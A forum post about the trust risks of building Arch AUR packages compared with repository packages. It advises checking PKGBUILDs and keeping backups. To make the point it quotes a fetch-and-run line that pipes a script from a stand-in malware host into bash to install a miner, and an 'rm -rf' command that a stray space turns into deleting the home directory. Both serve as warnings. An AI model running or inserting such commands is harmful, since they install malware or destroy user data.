[SOLVED] Replace LibreWolf AppImage by repo version

[Kresimir]

@Klaas-Vaak

OK, it contains build scripts, but those could be malignant, and they are certainly not compiled by Arch.

Yes, a PKGBUILD could easily contain a line like:

/bin/bash <(curl -s http://www.malware.com/install_bitcoin_miner.sh)

It can also contain stupid mistakes by people writing the code, which are not intentionally malicious, but can nevertheless destroy your system and cause you to lose data. For example:

How to Install Apps from AUR

Oh yeah, there was a ridiculous example of a GitHub project that had a script deleting some config file in the user’s home directory or something like that. However, the command to delete it had one unintended space character in it and so it would delete the entire home directory. It was something like rm -rf ~/ .config/some_file instead of rm -rf ~/.config/some_file. Several people lost all their data because of that program. I can’t remember what it was, but there was a post about it here on …

That’s why you should check it whenever you’re building a package from the AUR. Also, read the comments on the AUR webpage, stick to more popular packages and report anything malevolent or suspicious. Also, you should have all important data backed up, that should go without saying.

However, the PKGBUILD used to build packages in the repos could also contain something like above (well, it probably wouldn’t install malware on the packager’s local computer, that would be stupid ). The difference is that you cannot check for that, since the package is already built when you get it, hence you are blindly trusting the packager.